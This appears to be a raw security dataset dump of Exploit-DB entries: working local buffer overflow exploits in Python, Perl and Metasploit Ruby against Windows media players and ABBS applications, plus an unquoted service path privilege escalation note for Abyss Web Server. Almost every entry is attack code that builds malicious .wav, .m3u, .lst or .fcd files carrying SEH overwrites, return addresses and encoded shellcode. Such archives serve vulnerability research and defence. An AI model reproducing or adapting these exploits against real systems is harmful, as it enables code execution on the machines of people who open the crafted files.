deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14681
Description: A-PDF WAV to MP3 1.0.0 - Universal Local (SEH)
Type: local
Platform: windows
Date: 2010-08-18
Author: Dr_IDE

Exploit:
#!/usr/bin/env python
 
#################################################################################
#
# Title:	A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit	
# Exloit By:	Dr_IDE
# Tested On:    XPSP3
# Date:		August 18, 2010
# Download: 	http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html
# Reference:	http://www.exploit-db.com/exploits/14676/
# Usage:	Import File, Select It, Click Play, Calc.
#
# Exploit-DB Notes:
# This exploit uses SEH to gain code execution, while EDB 14676 uses a direct
# EIP overwrite which is operating system specific.
#
#################################################################################

# windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH 

code = (
"\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49"
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
"\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47"
"\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c"
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46"
"\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45"
"\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c"
"\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c"
"\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44"
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c"
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46"
"\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50"
"\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44"
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45"
"\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43"
"\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b"
"\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43"
"\x51\x42\x4c\x42\x43\x43\x30\x41\x41");

buff = ("\x41" * 4132);
nops = ("\x90" * 12);
nseh = ("\xEB\x06\x90\x90");
retn = ("\x5C\x26\x47\x00");
junk = ("\x42" * 300);
sploit = (buff+ nseh + retn + nops + code + junk);
 
try:
    f1 = open("Dr_IDEs.wav","w");	#No file checking, any file extension works... (.xyz .foo .abc)
    f1.write(sploit);
    f1.close();
    print ('[*] Success. Load File.');
 
except:
    print ("[-] Error, could not write the file.");
Exploit-DB #14676
Description: A-PDF WAV to MP3 Converter 1.0.0 - '.m3u' Local Stack Buffer Overflow
Type: local
Platform: windows
Date: 2010-08-17
Author: d4rk-h4ck3r

Exploit:
# Exploit Title: A-PDF WAV to MP3 Converter 1.0.0 (.m3u) Stack Buffer Overflow
# Author: d4rk-h4ck3r 
# Date: 2010-07-17
# Software Link: http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html
# Greetz 2 : PASSEWORD , KAiSER-J , sec4ever , tli7a , All Tun!Sian h4ck3rz
# Spacial thanks 2 : MadjiX ( el m3alem )
# Tested on: Windows XP SP3 Fr

my $jnk="\x41" x 4128 ;
my $eip = "\x63\x46\x92\x7C" ; # 0x7C924663 call esp kernel 32
my $nop = "\x90" x 20;
$shellcode = $shellcode
."\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

open(MYFILE,'>>d4rk.m3u');

print MYFILE $jnk.$eip.$nop.$shellcode;

close(MYFILE);
Exploit-DB #9377
Description: A2 Media Player Pro 2.51 - '.m3u' / '.m3l' Universal Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-08-06
Author: hack4love

Exploit:
#!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# A2 Media Player ProV2.51(.m3u /m3l)Universal Local Buffer Exploit (SEH)
# ## easy #### this work sooooooooo good####################################
############################################################################
##Thanks for WwW.Sec-ArT.CoM/cc team ##and 3asfh.net team###################
##AND special THANKS FOR His0k4 i respect him so much god with him #########
############################################################################
# http://download.cnet.com/A2-Media-Player-Pro/3000-2141_4-10059847.html
############################################################################
my $bof="\x41" x 4103;
my $nsh="\xEB\x06\x90\x90";
my $seh="\x47\xa1\x01\x10";##Universal
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> HACK4LOVE.m3u');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-08-06]
Exploit-DB #26579
Description: ABBS Audio Media Player - '.LST' Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2013-07-03
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ABBS Audio Media Player .LST Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in ABBS Audio Media Player. The vulnerability
        occurs when adding an .lst, allowing arbitrary code execution with the privileges
        of the user running the application . This module has been tested successfully on
        ABBS Audio Media Player 3.1 over Windows XP SP3 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Julian Ahrens', # Vulnerability discovery and PoC
          'modpr0be <modpr0be[at]spentera.com>' # Metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', '75096' ],
          [ 'EDB', '25204' ]
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'process',
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'        => "\x00\x0a\x0d",
          'DisableNops'     => true,
        },
      'Targets'        =>
        [
          [ 'ABBS Audio Media Player 3.1 / Windows XP SP3 / Windows 7 SP1',
            {
              'Ret'     => 0x00412c91, # add esp,14 # pop # pop # pop # ret from amp.exe
              'Offset'  => 4108,
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jun 30 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.lst']),
      ], self.class)

  end

  def exploit
    buffer = payload.encoded
    buffer << rand_text(target['Offset'] - (payload.encoded.length))
    buffer << [target.ret].pack('V')

    file_create(buffer)
  end
end
Exploit-DB #16971
Description: ABBS Audio Media Player - '.m3u' / '.LST' Local Buffer Overflow
Type: local
Platform: windows
Date: 2011-03-14
Author: Rh0

Exploit:
# Exploit: ABBS Audio Media Player Buffer Overflow Exploit (M3U/LST)
# Date: 14.03.11
# Author: Rh0 (Rh0[at]z1p.biz)
# Software Link: http://abbs.qsnx.net/downloads/abbs-amp.zip
# Version: 3.0
# Tested on: WinXP Pro SP3 EN (VirtualBox)

print "[*] Stack buffer overflow in ABBS Audio Media Player 3.0 [*]"
bufferlen = 4108;				# buffer until return address overwrite
nops = "\x90" * 5;
## WinExec("calc",1)
shellcode = (
		"\x33\xC0"			# xor eax,eax
		"\x50"				# push eax
		"\x68\x63\x61\x6C\x63"		# push 'calc'
		"\x8B\xDC"			# mov ebx, esp
		"\xB0\x01"			# mov al, 1
		"\x50"				# push eax
		"\x53"				# push ebx
		"\xB8\x0C\x25\x86\x7C"		# mov eax, 7C86250C
		"\x04\x01"			# add al, 1
		"\xFF\xD0"			# call eax (WinExec@kernel32.dll)
		)
			
ret = "\x87\xa7\xa7\x7c";			# jmp esp @user32.dll (0x7ca7a787)
esp = "\xe9\xeb\xef\xff\xff";	# jmp backwards 4116 bytes

buffer  = nops
buffer += shellcode
buffer += "A" * (bufferlen - len(buffer))
buffer += ret;
buffer += esp;

try:
	A = open("exploit.lst","wb")		# exploit works also with .m3u
	A.write(buffer)
	A.close()
	print "[*] exploit.lst created [*]"
except:
	print "[*] Error while creating file [*]"

print "[*] Enter to continue.. [*]"
raw_input()
Exploit-DB #16976
Description: ABBS Audio Media Player 3.0 - '.lst' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2011-03-14
Author: h1ch4m

Exploit:
# Exploit Title: ABBS Audio Media Player Buffer Overflow Exploit (SEH)
# Software Link: http://abbs.qsnx.net/downloads/abbs-amp.zip
# Version: 3.0
# Tested on: Win XP SP3 French
# Date: 14/03/2011
# Author: h1ch4m
# Email: h1ch4m@live.fr
# Home: http://net-effects.blogspot.com

my $file= "exploit.lst";
my $size = 4108;

# make a room for our shellcode

my $stack = "\xb8\xff\xef\xff\xff" .  # mov eax, 0xffffefff
            "\xf7\xd0" .              # not eax
            "\x29\xc4";               # sub esp, eax


			
# windows/exec - 223 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "\xbf\xa0\x03\xb5\xf2\x33\xc9\xb1\x32\xdb\xdf\xd9\x74\x24" .
"\xf4\x5a\x31\x7a\x0e\x03\x7a\x0e\x83\x62\x07\x57\x07\x9e" .
"\xe0\x1e\xe8\x5e\xf1\x40\x60\xbb\xc0\x52\x16\xc8\x71\x63" .
"\x5c\x9c\x79\x08\x30\x34\x09\x7c\x9d\x3b\xba\xcb\xfb\x72" .
"\x3b\xfa\xc3\xd8\xff\x9c\xbf\x22\x2c\x7f\x81\xed\x21\x7e" .
"\xc6\x13\xc9\xd2\x9f\x58\x78\xc3\x94\x1c\x41\xe2\x7a\x2b" .
"\xf9\x9c\xff\xeb\x8e\x16\x01\x3b\x3e\x2c\x49\xa3\x34\x6a" .
"\x6a\xd2\x99\x68\x56\x9d\x96\x5b\x2c\x1c\x7f\x92\xcd\x2f" .
"\xbf\x79\xf0\x80\x32\x83\x34\x26\xad\xf6\x4e\x55\x50\x01" .
"\x95\x24\x8e\x84\x08\x8e\x45\x3e\xe9\x2f\x89\xd9\x7a\x23" .
"\x66\xad\x25\x27\x79\x62\x5e\x53\xf2\x85\xb1\xd2\x40\xa2" .
"\x15\xbf\x13\xcb\x0c\x65\xf5\xf4\x4f\xc1\xaa\x50\x1b\xe3" .
"\xbf\xe3\x46\x69\x41\x61\xfd\xd4\x41\x79\xfe\x76\x2a\x48" .
"\x75\x19\x2d\x55\x5c\x5e\xcf\xa4\x6d\x4a\x58\x1f\x04\x37" .
"\x04\xa0\xf2\x7b\x31\x23\xf7\x03\xc6\x3b\x72\x06\x82\xfb" .
"\x6e\x7a\x9b\x69\x91\x29\x9c\xbb\xf2\xac\x0e\x27\xf5";

my $jump = "\xe9\x13\xff\xff\xff";   # jump back 237 bytes 

my $eip = pack('V', 0x7c86467b);     # jmp esp
my $nseh = "\xeb\xf5\xff\xff";
my $seh = pack('V', 0x00407434);


my $junk = "\x90" x ($size-length($stack.$shellcode.$jump));	
open($FILE,">$file");
print $FILE $junk.$stack.$shellcode.$jump.$eip.$nseh.$seh;
close($FILE);

print "Files Created successfully\n";
sleep(1);
Exploit-DB #17604
Description: ABBS Audio Media Player 3.0 - Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2011-08-04
Author: James Fitts

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ABBS Audio Media Player 3.0 (LST File) Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow vulnerability
					found in ABBS Audio Media Player 3.0. 
					The overflow occurs when an overly long string is passed
					in the lst file.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 
					      'h1ch4m',		# Initial Discovery
					      'James Fitts'	# Metasploit Module
					    ],
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/16976' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'BadChars' => "\x00\x0a\x0d",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 
						'Windows XP SP3 EN', 
						{ 
							'Ret' => 0x0043551f, # call dword ptr ds:[eax] in amp.exe
							'Offset' => 4108
						} 
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Mar 14 2011',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ true, 'The file name.',  'msf.lst']),
				], self.class)
	end

	def exploit
		
		lst = make_nops(50)
		lst << payload.encoded
		lst << make_nops(target['Offset'] - (50 + payload.encoded.length))
		lst << [target.ret].pack('V')
		lst << rand_text_alpha_upper(4)

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(lst)

	end

end
Exploit-DB #25204
Description: ABBS Audio Media Player 3.1 - '.lst' Local Buffer Overflow
Type: local
Platform: windows
Date: 2013-05-04
Author: Julien Ahrens

Exploit:
#!/usr/bin/python
 
# Exploit Title: ABBS Audio Media Player v3.1 (.lst) Buffer Overflow
# Version:       v3.1
# Date:          2013-05-04
# Author:        Julien Ahrens (@MrTuxracer)
# Homepage:      http://www.inshell.net
# Software Link: http://abbs.qsnx.net/
# Tested on:     Windows XP SP3 DE
#                Windows 7 SP1 64Bit DE
#                Windows 8 32/64Bit DE/EN
# Notes:         This exploit is for the current version and WinALL.
# Howto:         Open .lst

from struct import pack
 
file="exploit.lst"

# windows/exec CMD=calc.exe 
# Encoder: x86/shikata_ga_nai
# powered by Metasploit 
# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0a\x0d'

shellcode = ("\xda\xca\xbb\xfd\x11\xa3\xae\xd9\x74\x24\xf4\x5a\x31\xc9" +
"\xb1\x33\x31\x5a\x17\x83\xc2\x04\x03\xa7\x02\x41\x5b\xab" +
"\xcd\x0c\xa4\x53\x0e\x6f\x2c\xb6\x3f\xbd\x4a\xb3\x12\x71" +
"\x18\x91\x9e\xfa\x4c\x01\x14\x8e\x58\x26\x9d\x25\xbf\x09" +
"\x1e\x88\x7f\xc5\xdc\x8a\x03\x17\x31\x6d\x3d\xd8\x44\x6c" +
"\x7a\x04\xa6\x3c\xd3\x43\x15\xd1\x50\x11\xa6\xd0\xb6\x1e" +
"\x96\xaa\xb3\xe0\x63\x01\xbd\x30\xdb\x1e\xf5\xa8\x57\x78" +
"\x26\xc9\xb4\x9a\x1a\x80\xb1\x69\xe8\x13\x10\xa0\x11\x22" +
"\x5c\x6f\x2c\x8b\x51\x71\x68\x2b\x8a\x04\x82\x48\x37\x1f" +
"\x51\x33\xe3\xaa\x44\x93\x60\x0c\xad\x22\xa4\xcb\x26\x28" +
"\x01\x9f\x61\x2c\x94\x4c\x1a\x48\x1d\x73\xcd\xd9\x65\x50" +
"\xc9\x82\x3e\xf9\x48\x6e\x90\x06\x8a\xd6\x4d\xa3\xc0\xf4" +
"\x9a\xd5\x8a\x92\x5d\x57\xb1\xdb\x5e\x67\xba\x4b\x37\x56" +
"\x31\x04\x40\x67\x90\x61\xbe\x2d\xb9\xc3\x57\xe8\x2b\x56" +
"\x3a\x0b\x86\x94\x43\x88\x23\x64\xb0\x90\x41\x61\xfc\x16" +
"\xb9\x1b\x6d\xf3\xbd\x88\x8e\xd6\xdd\x4f\x1d\xba\x0f\xea" +
"\xa5\x59\x50")

junk1="\x90" * (4108 - len(shellcode))
eip=pack('<L',0x00412c91) # ADD ESP,14 # POP EDI # POP ESI # POP EBX # RETN  ** [amp.exe] **  
junk2="\x90" * 4
evil="\x00" * 4 # Terminat0r
poc=junk1 + shellcode + eip + junk2 + evil


try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";
Exploit-DB #16977
Description: ABBS Electronic Flash Cards 2.1 - '.fcd' Local Buffer Overflow
Type: local
Platform: windows
Date: 2011-03-14
Author: h1ch4m

Exploit:
# Exploit Title: ABBS Electronic Flash Cards Buffer Overflow Exploit
# Software Link: http://abbs.qsnx.net/downloads/abbs-flashcards.zip
# Version: 2.1
# triggering details : open the app, go to test, click on random, and start test, then chose the fcd file, and booom calc pops up
# Tested on: Win XP SP3 French
# Date: 14/03/2011
# Author: h1ch4m
# Email: h1ch4m@live.fr
# Home: http://net-effects.blogspot.com


my $file= "exploit.fcd";
my $size = 4108;

# make a room for our shellcode
my $stack = "\x31\xc0" .             # xor eax, eax
            "\xb4\x10" .             # mov ah, 10h
			"\x29\xc4" .             # sub esp, eax
			"\x90";                  # nop, 0x0a is a bad char, so i added a nop 0x0a becomes 0x09 (jump)			 

# windows/exec - 223 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "\xbf\xa0\x03\xb5\xf2\x33\xc9\xb1\x32\xdb\xdf\xd9\x74\x24" .
"\xf4\x5a\x31\x7a\x0e\x03\x7a\x0e\x83\x62\x07\x57\x07\x9e" .
"\xe0\x1e\xe8\x5e\xf1\x40\x60\xbb\xc0\x52\x16\xc8\x71\x63" .
"\x5c\x9c\x79\x08\x30\x34\x09\x7c\x9d\x3b\xba\xcb\xfb\x72" .
"\x3b\xfa\xc3\xd8\xff\x9c\xbf\x22\x2c\x7f\x81\xed\x21\x7e" .
"\xc6\x13\xc9\xd2\x9f\x58\x78\xc3\x94\x1c\x41\xe2\x7a\x2b" .
"\xf9\x9c\xff\xeb\x8e\x16\x01\x3b\x3e\x2c\x49\xa3\x34\x6a" .
"\x6a\xd2\x99\x68\x56\x9d\x96\x5b\x2c\x1c\x7f\x92\xcd\x2f" .
"\xbf\x79\xf0\x80\x32\x83\x34\x26\xad\xf6\x4e\x55\x50\x01" .
"\x95\x24\x8e\x84\x08\x8e\x45\x3e\xe9\x2f\x89\xd9\x7a\x23" .
"\x66\xad\x25\x27\x79\x62\x5e\x53\xf2\x85\xb1\xd2\x40\xa2" .
"\x15\xbf\x13\xcb\x0c\x65\xf5\xf4\x4f\xc1\xaa\x50\x1b\xe3" .
"\xbf\xe3\x46\x69\x41\x61\xfd\xd4\x41\x79\xfe\x76\x2a\x48" .
"\x75\x19\x2d\x55\x5c\x5e\xcf\xa4\x6d\x4a\x58\x1f\x04\x37" .
"\x04\xa0\xf2\x7b\x31\x23\xf7\x03\xc6\x3b\x72\x06\x82\xfb" .
"\x6e\x7a\x9b\x69\x91\x29\x9c\xbb\xf2\xac\x0e\x27\xf5";

my $eip = pack('V', 0x7c86467b);      # jmp esp  kernel32.dll
my $nops = "\x90" x 8;

my $jump = "\xe9\x09\xff\xff\xff";    # jump back 247 bytes 

my $junk = "\x90" x ($size-length($stack.$shellcode));
open($FILE,">$file");
print $FILE $junk.$stack.$shellcode.$eip.$nops.$jump;
close($FILE);
print "Files Created successfully\n";
sleep(1);
Exploit-DB #17605
Description: ABBS Electronic Flashcards 2.1 - Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2011-08-04
Author: James Fitts

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ABBS Electronic Flash Cards 2.1 (FCD File) Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow vulnerability
					found in ABBS Electronic Flash Cards 2.1. 
					The overflow occurs when an overly long string is passed
					in the fcd file. To execute this fcd file the victim
					has to start to start a new "random" test.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 
					      'h1ch4m',		# Initial Discovery
					      'James Fitts'	# Metasploit Module
					    ],
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/16977' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'BadChars' => "\x00\x0a\x0d",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 
						'Windows XP SP3 EN', 
						{ 
							'Ret' => 0x0043cb0f, # call dword ptr ds:[eax] in flashcards.exe
							'Offset' => 4108
						} 
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Mar 14 2011',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ true, 'The file name.',  'msf.fcd']),
				], self.class)
	end

	def exploit
		
		fcd = make_nops(50)
		fcd << payload.encoded
		fcd << make_nops(target['Offset'] - (50 + payload.encoded.length))
		fcd << [target.ret].pack('V')

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(fcd)

	end

end
Exploit-DB #40460
Description: Abyss Web Server X1 2.11.1 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-05
Author: Tulpa

Exploit:
# Exploit Title: Abyss Web Server X1 2.11.1 Multiple Local Privilege Escalation
# Date: 05/10/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Author twitter: @tulpa_security
# Vendor Homepage: http://aprelium.com/
# Application Download: http://aprelium.com/abyssws/download.php
# Version: Software Version 2.11.1
# Tested on: Windows 7 x86
# Shout-out to carbonated and ozzie_offsec

1. Description:

Abyss Web Server installs a service called 'AbyssWebServer' with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system. Abyss Web Server also suffers from weak file and folder permissions which could allow

an unauthorized user to swop out executable files with their own payload.

2. Proof

C:\Program Files>sc qc AbyssWebServer
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AbyssWebServer
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Abyss Web Server\abyssws.exe --service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Abyss Web Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


3. Exploit:

A successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.